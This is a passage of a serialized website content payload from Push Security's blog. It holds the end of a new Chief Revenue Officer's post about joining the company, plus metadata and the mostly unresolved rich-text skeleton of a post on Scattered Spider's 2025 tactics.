",{"data":127842,"marks":127843,"value":127845,"nodeType":865},{},[127844],{"type":898},"‘why hasn’t this been done before?’",{"data":127847,"marks":127848,"value":127849,"nodeType":865},{},[]," And from my initial conversations with Push customers you see the mirror of this: ",{"data":127851,"marks":127852,"value":127854,"nodeType":865},{},[127853],{"type":898},"‘could you imagine going back to life without it?’",{"data":127856,"marks":127857,"value":127858,"nodeType":865},{},[]," Seeing and hearing just how customers love Push, and how they have developed a solution that is both secure and highly scalable, gives me confidence in what the future holds for our team. ",{"data":127860,"content":127861,"nodeType":866},{},[127862,127866,127875],{"data":127863,"marks":127864,"value":127865,"nodeType":865},{},[],"And it’s not just about being in the browser, it’s what you do with it that is important. When you look at the backgrounds of the Push Security founders and their offensive security heritage, you can see how and why they are thinking about applying these new capabilities to drive SecOps teams and processes. It’s not just about box-ticking; it’s about genuinely hitting attackers where it hurts and making a meaningful difference to disrupting identity attacks – the #1 threat facing organizations today and responsible for nearly ",{"data":127867,"content":127869,"nodeType":889},{"uri":127868},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/",[127870],{"data":127871,"marks":127872,"value":127874,"nodeType":865},{},[127873],{"type":943},"75 percent of today’s breaches according to some industry estimates",{"data":127876,"marks":127877,"value":1615,"nodeType":865},{},[],{"data":127879,"content":127880,"nodeType":866},{},[127881],{"data":127882,"marks":127883,"value":127884,"nodeType":865},{},[],"My career has always been about working with people, building strong teams, and creating environments where everyone feels they’re contributing to a powerful mission. Having learned from and worked with some of the best, I am proud of the culture I helped create at past companies, and I see the same potential at Push. It’s early days, and that’s exactly where I love to be. ",{"data":127886,"content":127887,"nodeType":866},{},[127888,127892,127900],{"data":127889,"marks":127890,"value":127891,"nodeType":865},{},[],"Push Security really is on the cusp of something transformative, and I’m ready to jump in, bring my experience, and help lead the charge in this next chapter of identity-first security. If you would like to learn more about what we are doing at Push and how we can help your organization, connect with me on ",{"data":127893,"content":127895,"nodeType":889},{"uri":127894},"https://www.linkedin.com/in/karsenault1/",[127896],{"data":127897,"marks":127898,"value":127679,"nodeType":865},{},[127899],{"type":943},{"data":127901,"marks":127902,"value":1615,"nodeType":865},{},[],"Why I’m joining Push Security, from our new Chief Revenue Officer","Push's new Chief Revenue Officer, Kevin Arsenault, shares why he decided to join the Push team.","2024-11-21T00:00:00.000Z","why-im-joining-push-security-the-team-redefining-itdr",{"items":127908},[127909],{"sys":127910,"name":127737},{"id":127736},{"items":127912},[127913],{"fullName":127914,"firstName":127915,"jobTitle":127916,"profilePicture":127917},"Kevin Arsenault","Kevin","Chief Revenue Officer",{"url":127918},"https://images.ctfassets.net/y1cdw1ablpvd/4zJDawMiFCxIXpAZpb5TJn/3f018223f2ad11a75cea33339a8f66a2/image__21_.png","introducing-the-push-security-advisor-network-psan","blog/introducing-the-push-security-advisor-network-psan","A New Era of Partner-First Phishing Protection and Identity Security",{"json":127923},{"data":127924,"content":127925,"nodeType":1382},{},[127926],{"data":127927,"content":127928,"nodeType":866},{},[127929],{"data":127930,"marks":127931,"value":127932,"nodeType":865},{},[],"Introducing a new era of partner-first phishing protection and identity security.",{"id":127934,"publishedAt":127935},"1B9Rni05rjeDYEskxyP8Oc","2026-08-12T11:54:10.855Z",{"items":127937},[127938],{"sys":127939,"name":127737},{"id":127736},{"items":127941},[127942,127944,127946,127948,127950,127952],{"sys":127943,"name":297,"slug":298,"tier":31},{"id":294},{"sys":127945,"name":413,"slug":414,"tier":31},{"id":410},{"sys":127947,"name":519,"slug":520,"tier":31},{"id":516},{"sys":127949,"name":324,"slug":325,"tier":45},{"id":321},{"sys":127951,"name":571,"slug":572,"tier":45},{"id":568},{"sys":127953,"name":404,"slug":405,"tier":45},{"id":401},"d-xQ6t_q_We4w3lN4dmaeuI41j2rtygrFXUtyyIqvS4",{"id":127956,"title":87655,"authorsCollection":127957,"content":127962,"extension":228,"faqItemsCollection":129384,"faqTitle":59,"featured":6,"hashTags":59,"meta":129386,"metaTitle":129387,"ogImage":129388,"postType":42959,"publishedDate":124108,"relatedBlogPostsCollection":129389,"slug":87656,"stem":130949,"subtitle":59,"summary":130950,"synopsis":124107,"sys":130961,"tagsCollection":130963,"topicsCollection":130969,"__hash__":131019},"blog/blog/scattered-spider-ttp-evolution-in-2025.json",{"items":127958},[127959],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":127960,"profilePicture":127961},[30152],{"url":7804},{"json":127963,"links":129121},{"data":127964,"content":127965,"nodeType":1382},{},[127966,127971,127978,127984,128010,128015,128022,128048,128082,128087,128094,128109,128114,128117,128124,128130,128135,128171,128301,128304,128311,128317,128324,128350,128355,128362,128378,128384,128389,128395,128400,128416,128423,128439,128446,128452,128458,128461,128468,128474,128479,128485,128492,128508,128514,128519,128526,128532,128538,128564,128569,128575,128582,128588,128593,128619,128626,128642,128648,128653,128660,128676,128682,128739,128744,128747,128754,128760,128766,128792,128795,128802,128809,128814,128820,128827,128832,128838,128844,128849,128855,128862,128868,128874,128880,128896,128912,128918,128924,128929,128935,128942,128948,128954,128959,128965,128972,128978,128984,128990,128995,129001,129008,129014,129030,129035,129041,129058,129063,129069,129085,129090,129093,129100,129106],{"data":127967,"content":127970,"nodeType":912},{"target":127968},{"sys":127969},{"id":53916,"type":909,"linkType":910},[],{"data":127972,"content":127973,"nodeType":981},{},[127974],{"data":127975,"marks":127976,"value":122808,"nodeType":865},{},[127977],{"type":926},{"data":127979,"content":127980,"nodeType":866},{},[127981],{"data":127982,"marks":127983,"value":122815,"nodeType":865},{},[],{"data":127985,"content":127986,"nodeType":866},{},[127987,127990,127997,128000,128007],{"data":127988,"marks":127989,"value":122822,"nodeType":865},{},[],{"data":127991,"content":127992,"nodeType":889},{"uri":119492},[127993],{"data":127994,"marks":127995,"value":119498,"nodeType":865},{},[127996],{"type":943},{"data":127998,"marks":127999,"value":3476,"nodeType":865},{},[],{"data":128001,"content":128002,"nodeType":889},{"uri":3488},[128003],{"data":128004,"marks":128005,"value":3825,"nodeType":865},{},[128006],{"type":943},{"data":128008,"marks":128009,"value":122843,"nodeType":865},{},[],{"data":128011,"content":128014,"nodeType":912},{"target":128012},{"sys":128013},{"id":122848,"type":909,"linkType":910},[],{"data":128016,"content":128017,"nodeType":1317},{},[128018],{"data":128019,"marks":128020,"value":122857,"nodeType":865},{},[128021],{"type":926},{"data":128023,"content":128024,"nodeType":866},{},[128025,128028,128035,128038,128045],{"data":128026,"marks":128027,"value":122864,"nodeType":865},{},[],{"data":128029,"content":128030,"nodeType":889},{"uri":115681},[128031],{"data":128032,"marks":128033,"value":115687,"nodeType":865},{},[128034],{"type":943},{"data":128036,"marks":128037,"value":122875,"nodeType":865},{},[],{"data":128039,"content":128040,"nodeType":889},{"uri":53413},[128041],{"data":128042,"marks":128043,"value":53419,"nodeType":865},{},[128044],{"type":943},{"data":128046,"marks":128047,"value":122886,"nodeType":865},{},[],{"data":128049,"content":128050,"nodeType":866},{},[128051,128054,128058,128061,128065,128068,128072,128075,128079],{"data":128052,"marks":128053,"value":122893,"nodeType":865},{},[],{"data":128055,"marks":128056,"value":122898,"nodeType":865},{},[128057],{"type":926},{"data":128059,"marks":128060,"value":122902,"nodeType":865},{},[],{"data":128062,"marks":128063,"value":122907,"nodeType":865},{},[128064],{"type":926},{"data":128066,"marks":128067,"value":122911,"nodeType":865},{},[],{"data":128069,"marks":128070,"value":122916,"nodeType":865},{},[128071],{"type":926},{"data":128073,"marks":128074,"value":122920,"nodeType":865},{},[],{"data":128076,"marks":128077,"value":122925,"nodeType":865},{},[128078],{"type":926},{"data":128080,"marks":128081,"value":14251,"nodeType":865},{},[],{"data":128083,"content":128086,"nodeType":912},{"target":128084},{"sys":128085},{"id":122933,"type":909,"linkType":910},[],{"data":128088,"content":128089,"nodeType":1317},{},[128090],{"data":128091,"marks":128092,"value":122942,"nodeType":865},{},[128093],{"type":926},{"data":128095,"content":128096,"nodeType":866},{},[128097,128100,128106],{"data":128098,"marks":128099,"value":122949,"nodeType":865},{},[],{"data":128101,"content":128102,"nodeType":889},{"uri":3488},[128103],{"data":128104,"marks":128105,"value":122956,"nodeType":865},{},[],{"data":128107,"marks":128108,"value":122960,"nodeType":865},{},[],{"data":128110,"content":128113,"nodeType":912},{"target":128111},{"sys":128112},{"id":122965,"type":909,"linkType":910},[],{"data":128115,"content":128116,"nodeType":972},{},[],{"data":128118,"content":128119,"nodeType":981},{},[128120],{"data":128121,"marks":128122,"value":122977,"nodeType":865},{},[128123],{"type":926},{"data":128125,"content":128126,"nodeType":866},{},[128127],{"data":128128,"marks":128129,"value":122984,"nodeType":865},{},[],{"data":128131,"content":128134,"nodeType":912},{"target":128132},{"sys":128133},{"id":122989,"type":909,"linkType":910},[],{"data":128136,"content":128137,"nodeType":866},{},[128138,128141,128148,128151,128158,128161,128168],{"data":128139,"marks":128140,"value":122997,"nodeType":865},{},[],{"data":128142,"content":128143,"nodeType":889},{"uri":123000},[128144],{"data":128145,"marks":128146,"value":53933,"nodeType":865},{},[128147],{"type":943},{"data":128149,"marks":128150,"value":2717,"nodeType":865},{},[],{"data":128152,"content":128153,"nodeType":889},{"uri":53939},[128154],{"data":128155,"marks":128156,"value":53945,"nodeType":865},{},[128157],{"type":943},{"data":128159,"marks":128160,"value":3476,"nodeType":865},{},[],{"data":128162,"content":128163,"nodeType":889},{"uri":123021},[128164],{"data":128165,"marks":128166,"value":123027,"nodeType":865},{},[128167],{"type":943},{"data":128169,"marks":128170,"value":123031,"nodeType":865},{},[],{"data":128172,"content":128173,"nodeType":866},{},[128174,128177,128184,128187,128194,128197,128204,128207,128214,128217,128224,128227,128234,128237,128244,128247,128253,128256,128262,128265,128271,128274,128280,128283,128289,128292,128298],{"data":128175,"marks":128176,"value":53956,"nodeType":865},{},[],{"data":128178,"content":128179,"nodeType":889},{"uri":53959},[128180],{"data":128181,"marks":128182,"value":53965,"nodeType":865},{},[128183],{"type":943},{"data":128185,"marks":128186,"value":2717,"nodeType":865},{},[],{"data":128188,"content":128189,"nodeType":889},{"uri":53971},[128190],{"data":128191,"marks":128192,"value":53977,"nodeType":865},{},[128193],{"type":943},{"data":128195,"marks":128196,"value":2717,"nodeType":865},{},[],{"data":128198,"content":128199,"nodeType":889},{"uri":53983},[128200],{"data":128201,"marks":128202,"value":53989,"nodeType":865},{},[128203],{"type":943},{"data":128205,"marks":128206,"value":2717,"nodeType":865},{},[],{"data":128208,"content":128209,"nodeType":889},{"uri":53995},[128210],{"data":128211,"marks":128212,"value":54001,"nodeType":865},{},[128213],{"type":943},{"data":128215,"marks":128216,"value":2717,"nodeType":865},{},[],{"data":128218,"content":128219,"nodeType":889},{"uri":54007},[128220],{"data":128221,"marks":128222,"value":54013,"nodeType":865},{},[128223],{"type":943},{"data":128225,"marks":128226,"value":2717,"nodeType":865},{},[],{"data":128228,"content":128229,"nodeType":889},{"uri":54019},[128230],{"data":128231,"marks":128232,"value":54025,"nodeType":865},{},[128233],{"type":943},{"data":128235,"marks":128236,"value":3476,"nodeType":865},{},[],{"data":128238,"content":128239,"nodeType":889},{"uri":54031},[128240],{"data":128241,"marks":128242,"value":54037,"nodeType":865},{},[128243],{"type":943},{"data":128245,"marks":128246,"value":123108,"nodeType":865},{},[],{"data":128248,"content":128249,"nodeType":889},{"uri":54051},[128250],{"data":128251,"marks":128252,"value":54057,"nodeType":865},{},[],{"data":128254,"marks":128255,"value":2717,"nodeType":865},{},[],{"data":128257,"content":128258,"nodeType":889},{"uri":54063},[128259],{"data":128260,"marks":128261,"value":54069,"nodeType":865},{},[],{"data":128263,"marks":128264,"value":2717,"nodeType":865},{},[],{"data":128266,"content":128267,"nodeType":889},{"uri":54076},[128268],{"data":128269,"marks":128270,"value":54082,"nodeType":865},{},[],{"data":128272,"marks":128273,"value":2717,"nodeType":865},{},[],{"data":128275,"content":128276,"nodeType":889},{"uri":54100},[128277],{"data":128278,"marks":128279,"value":54105,"nodeType":865},{},[],{"data":128281,"marks":128282,"value":2717,"nodeType":865},{},[],{"data":128284,"content":128285,"nodeType":889},{"uri":54100},[128286],{"data":128287,"marks":128288,"value":54115,"nodeType":865},{},[],{"data":128290,"marks":128291,"value":3476,"nodeType":865},{},[],{"data":128293,"content":128294,"nodeType":889},{"uri":54089},[128295],{"data":128296,"marks":128297,"value":54094,"nodeType":865},{},[],{"data":128299,"marks":128300,"value":1615,"nodeType":865},{},[],{"data":128302,"content":128303,"nodeType":972},{},[],{"data":128305,"content":128306,"nodeType":981},{},[128307],{"data":128308,"marks":128309,"value":123173,"nodeType":865},{},[128310],{"type":926},{"data":128312,"content":128313,"nodeType":866},{},[128314],{"data":128315,"marks":128316,"value":123180,"nodeType":865},{},[],{"data":128318,"content":128319,"nodeType":1317},{},[128320],{"data":128321,"marks":128322,"value":123188,"nodeType":865},{},[128323],{"type":926},{"data":128325,"content":128326,"nodeType":866},{},[128327,128330,128337,128340,128347],{"data":128328,"marks":128329,"value":123195,"nodeType":865},{},[],{"data":128331,"content":128332,"nodeType":889},{"uri":123198},[128333],{"data":128334,"marks":128335,"value":123204,"nodeType":865},{},[128336],{"type":943},{"data":128338,"marks":128339,"value":4988,"nodeType":865},{},[],{"data":128341,"content":128342,"nodeType":889},{"uri":53203},[128343],{"data":128344,"marks":128345,"value":123215,"nodeType":865},{},[128346],{"type":943},{"data":128348,"marks":128349,"value":123219,"nodeType":865},{},[],{"data":128351,"content":128354,"nodeType":912},{"target":128352},{"sys":128353},{"id":123224,"type":909,"linkType":910},[],{"data":128356,"content":128357,"nodeType":1317},{},[128358],{"data":128359,"marks":128360,"value":123233,"nodeType":865},{},[128361],{"type":926},{"data":128363,"content":128364,"nodeType":866},{},[128365,128368,128375],{"data":128366,"marks":128367,"value":123240,"nodeType":865},{},[],{"data":128369,"content":128370,"nodeType":889},{"uri":123243},[128371],{"data":128372,"marks":128373,"value":123249,"nodeType":865},{},[128374],{"type":943},{"data":128376,"marks":128377,"value":123253,"nodeType":865},{},[],{"data":128379,"content":128380,"nodeType":866},{},[128381],{"data":128382,"marks":128383,"value":123260,"nodeType":865},{},[],{"data":128385,"content":128388,"nodeType":912},{"target":128386},{"sys":128387},{"id":123265,"type":909,"linkType":910},[],{"data":128390,"content":128391,"nodeType":866},{},[128392],{"data":128393,"marks":128394,"value":123273,"nodeType":865},{},[],{"data":128396,"content":128399,"nodeType":912},{"target":128397},{"sys":128398},{"id":123278,"type":909,"linkType":910},[],{"data":128401,"content":128402,"nodeType":866},{},[128403,128406,128413],{"data":128404,"marks":128405,"value":123286,"nodeType":865},{},[],{"data":128407,"content":128408,"nodeType":889},{"uri":123289},[128409],{"data":128410,"marks":128411,"value":123295,"nodeType":865},{},[128412],{"type":943},{"data":128414,"marks":128415,"value":40358,"nodeType":865},{},[],{"data":128417,"content":128418,"nodeType":1317},{},[128419],{"data":128420,"marks":128421,"value":123306,"nodeType":865},{},[128422],{"type":926},{"data":128424,"content":128425,"nodeType":866},{},[128426,128429,128436],{"data":128427,"marks":128428,"value":123313,"nodeType":865},{},[],{"data":128430,"content":128431,"nodeType":889},{"uri":53413},[128432],{"data":128433,"marks":128434,"value":53419,"nodeType":865},{},[128435],{"type":943},{"data":128437,"marks":128438,"value":123324,"nodeType":865},{},[],{"data":128440,"content":128441,"nodeType":1317},{},[128442],{"data":128443,"marks":128444,"value":123332,"nodeType":865},{},[128445],{"type":926},{"data":128447,"content":128448,"nodeType":866},{},[128449],{"data":128450,"marks":128451,"value":123339,"nodeType":865},{},[],{"data":128453,"content":128454,"nodeType":866},{},[128455],{"data":128456,"marks":128457,"value":123346,"nodeType":865},{},[],{"data":128459,"content":128460,"nodeType":972},{},[],{"data":128462,"content":128463,"nodeType":981},{},[128464],{"data":128465,"marks":128466,"value":123357,"nodeType":865},{},[128467],{"type":926},{"data":128469,"content":128470,"nodeType":866},{},[128471],{"data":128472,"marks":128473,"value":123364,"nodeType":865},{},[],{"data":128475,"content":128478,"nodeType":912},{"target":128476},{"sys":128477},{"id":123369,"type":909,"linkType":910},[],{"data":128480,"content":128481,"nodeType":866},{},[128482],{"data":128483,"marks":128484,"value":123377,"nodeType":865},{},[],{"data":128486,"content":128487,"nodeType":1317},{},[128488],{"data":128489,"marks":128490,"value":123385,"nodeType":865},{},[128491],{"type":926},{"data":128493,"content":128494,"nodeType":866},{},[128495,128498,128505],{"data":128496,"marks":128497,"value":21,"nodeType":865},{},[],{"data":128499,"content":128500,"nodeType":889},{"uri":123289},[128501],{"data":128502,"marks":128503,"value":123399,"nodeType":865},{},[128504],{"type":943},{"data":128506,"marks":128507,"value":123403,"nodeType":865},{},[],{"data":128509,"content":128510,"nodeType":866},{},[128511],{"data":128512,"marks":128513,"value":123410,"nodeType":865},{},[],{"data":128515,"content":128518,"nodeType":912},{"target":128516},{"sys":128517},{"id":123415,"type":909,"linkType":910},[],{"data":128520,"content":128521,"nodeType":1317},{},[128522],{"data":128523,"marks":128524,"value":123424,"nodeType":865},{},[128525],{"type":926},{"data":128527,"content":128528,"nodeType":866},{},[128529],{"data":128530,"marks":128531,"value":123431,"nodeType":865},{},[],{"data":128533,"content":128534,"nodeType":866},{},[128535],{"data":128536,"marks":128537,"value":123438,"nodeType":865},{},[],{"data":128539,"content":128540,"nodeType":866},{},[128541,128544,128551,128554,128561],{"data":128542,"marks":128543,"value":123445,"nodeType":865},{},[],{"data":128545,"content":128546,"nodeType":889},{"uri":70881},[128547],{"data":128548,"marks":128549,"value":123453,"nodeType":865},{},[128550],{"type":943},{"data":128552,"marks":128553,"value":123457,"nodeType":865},{},[],{"data":128555,"content":128556,"nodeType":889},{"uri":7112},[128557],{"data":128558,"marks":128559,"value":123465,"nodeType":865},{},[128560],{"type":943},{"data":128562,"marks":128563,"value":123469,"nodeType":865},{},[],{"data":128565,"content":128568,"nodeType":912},{"target":128566},{"sys":128567},{"id":123474,"type":909,"linkType":910},[],{"data":128570,"content":128571,"nodeType":866},{},[128572],{"data":128573,"marks":128574,"value":123482,"nodeType":865},{},[],{"data":128576,"content":128577,"nodeType":1317},{},[128578],{"data":128579,"marks":128580,"value":123490,"nodeType":865},{},[128581],{"type":926},{"data":128583,"content":128584,"nodeType":866},{},[128585],{"data":128586,"marks":128587,"value":123497,"nodeType":865},{},[],{"data":128589,"content":128592,"nodeType":912},{"target":128590},{"sys":128591},{"id":105475,"type":909,"linkType":910},[],{"data":128594,"content":128595,"nodeType":866},{},[128596,128599,128606,128609,128616],{"data":128597,"marks":128598,"value":123509,"nodeType":865},{},[],{"data":128600,"content":128601,"nodeType":889},{"uri":123512},[128602],{"data":128603,"marks":128604,"value":123518,"nodeType":865},{},[128605],{"type":943},{"data":128607,"marks":128608,"value":123522,"nodeType":865},{},[],{"data":128610,"content":128611,"nodeType":889},{"uri":104005},[128612],{"data":128613,"marks":128614,"value":66867,"nodeType":865},{},[128615],{"type":943},{"data":128617,"marks":128618,"value":123533,"nodeType":865},{},[],{"data":128620,"content":128621,"nodeType":1317},{},[128622],{"data":128623,"marks":128624,"value":123541,"nodeType":865},{},[128625],{"type":926},{"data":128627,"content":128628,"nodeType":866},{},[128629,128632,128639],{"data":128630,"marks":128631,"value":123548,"nodeType":865},{},[],{"data":128633,"content":128634,"nodeType":889},{"uri":123551},[128635],{"data":128636,"marks":128637,"value":123557,"nodeType":865},{},[128638],{"type":943},{"data":128640,"marks":128641,"value":123561,"nodeType":865},{},[],{"data":128643,"content":128644,"nodeType":866},{},[128645],{"data":128646,"marks":128647,"value":123568,"nodeType":865},{},[],{"data":128649,"content":128652,"nodeType":912},{"target":128650},{"sys":128651},{"id":123573,"type":909,"linkType":910},[],{"data":128654,"content":128655,"nodeType":1317},{},[128656],{"data":128657,"marks":128658,"value":123582,"nodeType":865},{},[128659],{"type":926},{"data":128661,"content":128662,"nodeType":866},{},[128663,128666,128673],{"data":128664,"marks":128665,"value":123589,"nodeType":865},{},[],{"data":128667,"content":128668,"nodeType":889},{"uri":123592},[128669],{"data":128670,"marks":128671,"value":123598,"nodeType":865},{},[128672],{"type":943},{"data":128674,"marks":128675,"value":123602,"nodeType":865},{},[],{"data":128677,"content":128678,"nodeType":866},{},[128679],{"data":128680,"marks":128681,"value":123609,"nodeType":865},{},[],{"data":128683,"content":128684,"nodeType":1616},{},[128685,128694,128703,128712,128721,128730],{"data":128686,"content":128687,"nodeType":1570},{},[128688],{"data":128689,"content":128690,"nodeType":866},{},[128691],{"data":128692,"marks":128693,"value":123622,"nodeType":865},{},[],{"data":128695,"content":128696,"nodeType":1570},{},[128697],{"data":128698,"content":128699,"nodeType":866},{},[128700],{"data":128701,"marks":128702,"value":123632,"nodeType":865},{},[],{"data":128704,"content":128705,"nodeType":1570},{},[128706],{"data":128707,"content":128708,"nodeType":866},{},[128709],{"data":128710,"marks":128711,"value":123642,"nodeType":865},{},[],{"data":128713,"content":128714,"nodeType":1570},{},[128715],{"data":128716,"content":128717,"nodeType":866},{},[128718],{"data":128719,"marks":128720,"value":123652,"nodeType":865},{},[],{"data":128722,"content":128723,"nodeType":1570},{},[128724],{"data":128725,"content":128726,"nodeType":866},{},[128727],{"data":128728,"marks":128729,"value":123662,"nodeType":865},{},[],{"data":128731,"content":128732,"nodeType":1570},{},[128733],{"data":128734,"content":128735,"nodeType":866},{},[128736],{"data":128737,"marks":128738,"value":123672,"nodeType":865},{},[],{"data":128740,"content":128743,"nodeType":912},{"target":128741},{"sys":128742},{"id":123677,"type":909,"linkType":910},[],{"data":128745,"content":128746,"nodeType":972},{},[],{"data":128748,"content":128749,"nodeType":981},{},[128750],{"data":128751,"marks":128752,"value":123689,"nodeType":865},{},[128753],{"type":926},{"data":128755,"content":128756,"nodeType":866},{},[128757],{"data":128758,"marks":128759,"value":123696,"nodeType":865},{},[],{"data":128761,"content":128762,"nodeType":866},{},[128763],{"data":128764,"marks":128765,"value":123703,"nodeType":865},{},[],{"data":128767,"content":128768,"nodeType":866},{},[128769,128772,128779,128782,128789],{"data":128770,"marks":128771,"value":123710,"nodeType":865},{},[],{"data":128773,"content":128774,"nodeType":889},{"uri":123713},[128775],{"data":128776,"marks":128777,"value":123719,"nodeType":865},{},[128778],{"type":943},{"data":128780,"marks":128781,"value":123723,"nodeType":865},{},[],{"data":128783,"content":128784,"nodeType":889},{"uri":7112},[128785],{"data":128786,"marks":128787,"value":123731,"nodeType":865},{},[128788],{"type":943},{"data":128790,"marks":128791,"value":14251,"nodeType":865},{},[],{"data":128793,"content":128794,"nodeType":972},{},[],{"data":128796,"content":128797,"nodeType":981},{},[128798],{"data":128799,"marks":128800,"value":123745,"nodeType":865},{},[128801],{"type":926},{"data":128803,"content":128804,"nodeType":866},{},[128805],{"data":128806,"marks":128807,"value":123753,"nodeType":865},{},[128808],{"type":926},{"data":128810,"content":128813,"nodeType":912},{"target":128811},{"sys":128812},{"id":123758,"type":909,"linkType":910},[],{"data":128815,"content":128816,"nodeType":1317},{},[128817],{"data":128818,"marks":128819,"value":123766,"nodeType":865},{},[],{"data":128821,"content":128822,"nodeType":866},{},[128823],{"data":128824,"marks":128825,"value":123774,"nodeType":865},{},[128826],{"type":926},{"data":128828,"content":128831,"nodeType":912},{"target":128829},{"sys":128830},{"id":123779,"type":909,"linkType":910},[],{"data":128833,"content":128834,"nodeType":866},{},[128835],{"data":128836,"marks":128837,"value":123787,"nodeType":865},{},[],{"data":128839,"content":128840,"nodeType":866},{},[128841],{"data":128842,"marks":128843,"value":123794,"nodeType":865},{},[],{"data":128845,"content":128848,"nodeType":912},{"target":128846},{"sys":128847},{"id":123799,"type":909,"linkType":910},[],{"data":128850,"content":128851,"nodeType":1317},{},[128852],{"data":128853,"marks":128854,"value":123807,"nodeType":865},{},[],{"data":128856,"content":128857,"nodeType":866},{},[128858],{"data":128859,"marks":128860,"value":123815,"nodeType":865},{},[128861],{"type":926},{"data":128863,"content":128864,"nodeType":866},{},[128865],{"data":128866,"marks":128867,"value":123822,"nodeType":865},{},[],{"data":128869,"content":128870,"nodeType":866},{},[128871],{"data":128872,"marks":128873,"value":123829,"nodeType":865},{},[],{"data":128875,"content":128876,"nodeType":1317},{},[128877],{"data":128878,"marks":128879,"value":123836,"nodeType":865},{},[],{"data":128881,"content":128882,"nodeType":866},{},[128883,128887,128892],{"data":128884,"marks":128885,"value":123844,"nodeType":865},{},[128886],{"type":926},{"data":128888,"marks":128889,"value":123850,"nodeType":865},{},[128890,128891],{"type":943},{"type":926},{"data":128893,"marks":128894,"value":123855,"nodeType":865},{},[128895],{"type":926},{"data":128897,"content":128898,"nodeType":866},{},[128899,128902,128909],{"data":128900,"marks":128901,"value":123862,"nodeType":865},{},[],{"data":128903,"content":128904,"nodeType":889},{"uri":123865},[128905],{"data":128906,"marks":128907,"value":123871,"nodeType":865},{},[128908],{"type":943},{"data":128910,"marks":128911,"value":1615,"nodeType":865},{},[],{"data":128913,"content":128914,"nodeType":866},{},[128915],{"data":128916,"marks":128917,"value":123881,"nodeType":865},{},[],{"data":128919,"content":128920,"nodeType":866},{},[128921],{"data":128922,"marks":128923,"value":123888,"nodeType":865},{},[],{"data":128925,"content":128928,"nodeType":912},{"target":128926},{"sys":128927},{"id":123893,"type":909,"linkType":910},[],{"data":128930,"content":128931,"nodeType":1317},{},[128932],{"data":128933,"marks":128934,"value":123901,"nodeType":865},{},[],{"data":128936,"content":128937,"nodeType":866},{},[128938],{"data":128939,"marks":128940,"value":123909,"nodeType":865},{},[128941],{"type":926},{"data":128943,"content":128944,"nodeType":866},{},[128945],{"data":128946,"marks":128947,"value":123916,"nodeType":865},{},[],{"data":128949,"content":128950,"nodeType":866},{},[128951],{"data":128952,"marks":128953,"value":123923,"nodeType":865},{},[],{"data":128955,"content":128958,"nodeType":912},{"target":128956},{"sys":128957},{"id":123928,"type":909,"linkType":910},[],{"data":128960,"content":128961,"nodeType":1317},{},[128962],{"data":128963,"marks":128964,"value":123936,"nodeType":865},{},[],{"data":128966,"content":128967,"nodeType":866},{},[128968],{"data":128969,"marks":128970,"value":123944,"nodeType":865},{},[128971],{"type":926},{"data":128973,"content":128974,"nodeType":866},{},[128975],{"data":128976,"marks":128977,"value":123951,"nodeType":865},{},[],{"data":128979,"content":128980,"nodeType":866},{},[128981],{"data":128982,"marks":128983,"value":123958,"nodeType":865},{},[],{"data":128985,"content":128986,"nodeType":866},{},[128987],{"data":128988,"marks":128989,"value":123965,"nodeType":865},{},[],{"data":128991,"content":128994,"nodeType":912},{"target":128992},{"sys":128993},{"id":123970,"type":909,"linkType":910},[],{"data":128996,"content":128997,"nodeType":1317},{},[128998],{"data":128999,"marks":129000,"value":123978,"nodeType":865},{},[],{"data":129002,"content":129003,"nodeType":866},{},[129004],{"data":129005,"marks":129006,"value":123986,"nodeType":865},{},[129007],{"type":926},{"data":129009,"content":129010,"nodeType":866},{},[129011],{"data":129012,"marks":129013,"value":123993,"nodeType":865},{},[],{"data":129015,"content":129016,"nodeType":866},{},[129017,129020,129027],{"data":129018,"marks":129019,"value":124000,"nodeType":865},{},[],{"data":129021,"content":129022,"nodeType":889},{"uri":6710},[129023],{"data":129024,"marks":129025,"value":6715,"nodeType":865},{},[129026],{"type":943},{"data":129028,"marks":129029,"value":124011,"nodeType":865},{},[],{"data":129031,"content":129034,"nodeType":912},{"target":129032},{"sys":129033},{"id":124016,"type":909,"linkType":910},[],{"data":129036,"content":129037,"nodeType":1317},{},[129038],{"data":129039,"marks":129040,"value":124024,"nodeType":865},{},[],{"data":129042,"content":129043,"nodeType":866},{},[129044,129047,129055],{"data":129045,"marks":129046,"value":54446,"nodeType":865},{},[],{"data":129048,"content":129049,"nodeType":889},{"uri":54449},[129050],{"data":129051,"marks":129052,"value":54456,"nodeType":865},{},[129053,129054],{"type":943},{"type":926},{"data":129056,"marks":129057,"value":54460,"nodeType":865},{},[],{"data":129059,"content":129062,"nodeType":912},{"target":129060},{"sys":129061},{"id":54465,"type":909,"linkType":910},[],{"data":129064,"content":129065,"nodeType":866},{},[129066],{"data":129067,"marks":129068,"value":54473,"nodeType":865},{},[],{"data":129070,"content":129071,"nodeType":866},{},[129072,129075,129082],{"data":129073,"marks":129074,"value":54490,"nodeType":865},{},[],{"data":129076,"content":129077,"nodeType":889},{"uri":54493},[129078],{"data":129079,"marks":129080,"value":54499,"nodeType":865},{},[129081],{"type":943},{"data":129083,"marks":129084,"value":54503,"nodeType":865},{},[],{"data":129086,"content":129089,"nodeType":912},{"target":129087},{"sys":129088},{"id":54525,"type":909,"linkType":910},[],{"data":129091,"content":129092,"nodeType":972},{},[],{"data":129094,"content":129095,"nodeType":981},{},[129096],{"data":129097,"marks":129098,"value":34483,"nodeType":865},{},[129099],{"type":926},{"data":129101,"content":129102,"nodeType":866},{},[129103],{"data":129104,"marks":129105,"value":124090,"nodeType":865},{},[],{"data":129107,"content":129108,"nodeType":866},{},[129109,129112,129118],{"data":129110,"marks":129111,"value":104093,"nodeType":865},{},[],{"data":129113,"content":129114,"nodeType":889},{"uri":124099},[129115],{"data":129116,"marks":129117,"value":11405,"nodeType":865},{},[],{"data":129119,"marks":129120,"value":1615,"nodeType":865},{},[],{"entries":129122},{"hyperlink":129123,"inline":129124,"block":129125},[],[],[129126,129156,129182,129210,129214,129228,129263,129277,129291,129299,129303,129310,129314,129318,129325,129330,129344,129351,129358,129364,129372,129379,129382],{"sys":129127,"__typename":5503,"content":129128,"name":119807,"title":59},{"id":53916},{"json":129129},{"nodeType":1382,"data":129130,"content":129131},{},[129132],{"nodeType":866,"data":129133,"content":129134},{},[129135,129138,129144,129147,129153],{"nodeType":865,"value":119782,"marks":129136,"data":129137},[],{},{"nodeType":889,"data":129139,"content":129140},{"uri":83801},[129141],{"nodeType":865,"value":119789,"marks":129142,"data":129143},[],{},{"nodeType":865,"value":119793,"marks":129145,"data":129146},[],{},{"nodeType